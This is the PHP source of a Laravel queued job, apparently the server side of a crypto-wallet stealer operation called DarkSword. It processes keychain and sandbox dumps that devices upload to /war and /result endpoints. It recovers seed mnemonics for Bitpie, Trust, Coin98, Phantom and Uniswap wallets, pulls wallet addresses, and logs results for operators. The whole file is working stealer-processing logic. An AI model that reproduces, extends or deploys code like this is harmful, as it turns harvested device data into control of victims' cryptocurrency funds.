130 lines
4.6 KiB
PHP
130 lines
4.6 KiB
PHP
<?php
|
|
|
|
namespace App\Jobs;
|
|
|
|
use App\Models\Device;
|
|
use App\Services\DarkSwordIngestAdapter;
|
|
use App\Services\DsKeystoreDecrypt;
|
|
use Illuminate\Contracts\Queue\ShouldQueue;
|
|
use Illuminate\Foundation\Queue\Queueable;
|
|
use Illuminate\Support\Facades\Log;
|
|
|
|
/**
|
|
* Asynchronous keystore / keychain decryption job.
|
|
*
|
|
* Keystores are stored synchronously during /war or /result ingestion, then
|
|
* this job is dispatched to perform the (potentially slow) mnemonic recovery
|
|
* and address extraction off the request thread. Failures are logged with
|
|
* the specific reason to the `keystore` log channel so operators can diagnose
|
|
* why a wallet didn't decrypt.
|
|
*/
|
|
class DecryptDeviceKeystores implements ShouldQueue
|
|
{
|
|
use Queueable;
|
|
|
|
public int $tries = 1;
|
|
|
|
public int $timeout = 300;
|
|
|
|
/**
|
|
* @param int $deviceId Device to process.
|
|
* @param array<string, mixed>|null $wallets Raw keychain wallets dict (from /war or /result).
|
|
* @param array<string, mixed>|null $sandbox Raw sandbox dict.
|
|
*/
|
|
public function __construct(
|
|
public int $deviceId,
|
|
public ?array $wallets = null,
|
|
public ?array $sandbox = null,
|
|
) {
|
|
// Production always leaves PHP-FPM. Tests keep the default (sync) driver
|
|
// so recovery still runs inline without a Redis worker.
|
|
if (! app()->runningUnitTests()) {
|
|
$this->onConnection('keystore');
|
|
}
|
|
}
|
|
|
|
public function handle(
|
|
DarkSwordIngestAdapter $adapter,
|
|
DsKeystoreDecrypt $decrypt,
|
|
): void {
|
|
$device = Device::query()->find($this->deviceId);
|
|
if ($device === null) {
|
|
Log::channel('keystore')->warning('DecryptDeviceKeystores: device not found', [
|
|
'device_id' => $this->deviceId,
|
|
]);
|
|
|
|
return;
|
|
}
|
|
|
|
$device->load('keystores');
|
|
|
|
$wallets = $this->wallets ?? [];
|
|
$sandbox = $this->sandbox ?? [];
|
|
$errors = [];
|
|
|
|
// ── 1. Structured recovery (Bitpie / Trust / Coin98 / Phantom) ──
|
|
try {
|
|
$adapter->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
|
} catch (\Throwable $e) {
|
|
$errors[] = 'recover: '.$e->getMessage();
|
|
Log::channel('keystore')->error('DecryptDeviceKeystores: recover failed', [
|
|
'device_id' => $device->id,
|
|
'device_key' => $device->device_id,
|
|
'error' => $e->getMessage(),
|
|
'trace' => $e->getTraceAsString(),
|
|
]);
|
|
}
|
|
|
|
// ── 2. Plaintext mnemonic walk (Uniswap / Phantom entropy / etc.) ──
|
|
try {
|
|
$hits = $adapter->walkForMnemonicsWithResult($device, $wallets, 'd');
|
|
$hits = array_merge($hits, $adapter->walkForMnemonicsWithResult($device, $sandbox, 'b'));
|
|
foreach ($hits as $hit) {
|
|
$source = $hit['source'] ?? '';
|
|
if ($source !== '') {
|
|
$decrypt->markSourceDecrypted($device->id, $source);
|
|
}
|
|
}
|
|
} catch (\Throwable $e) {
|
|
$errors[] = 'walkForMnemonics: '.$e->getMessage();
|
|
Log::channel('keystore')->error('DecryptDeviceKeystores: walkForMnemonics failed', [
|
|
'device_id' => $device->id,
|
|
'device_key' => $device->device_id,
|
|
'error' => $e->getMessage(),
|
|
]);
|
|
}
|
|
|
|
// ── 3. Address extraction from undecryptable keystores ──
|
|
$addressCount = 0;
|
|
try {
|
|
$addressCount = $adapter->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
|
} catch (\Throwable $e) {
|
|
$errors[] = 'extractAddresses: '.$e->getMessage();
|
|
Log::channel('keystore')->error('DecryptDeviceKeystores: address extraction failed', [
|
|
'device_id' => $device->id,
|
|
'device_key' => $device->device_id,
|
|
'error' => $e->getMessage(),
|
|
]);
|
|
}
|
|
|
|
// ── 4. Log summary ──
|
|
$mnemonicCount = $device->mnemonics()->count();
|
|
$summary = sprintf(
|
|
'DecryptDeviceKeystores · device=%s · mnemonics=%d · addresses=%d · errors=%d',
|
|
$device->device_id,
|
|
$mnemonicCount,
|
|
$addressCount,
|
|
count($errors),
|
|
);
|
|
if ($errors !== []) {
|
|
$summary .= ' · '.implode('; ', $errors);
|
|
}
|
|
Log::channel('keystore')->info($summary, [
|
|
'device_id' => $device->id,
|
|
'device_key' => $device->device_id,
|
|
'addresses' => $addressCount,
|
|
'errors' => $errors,
|
|
]);
|
|
}
|
|
}
|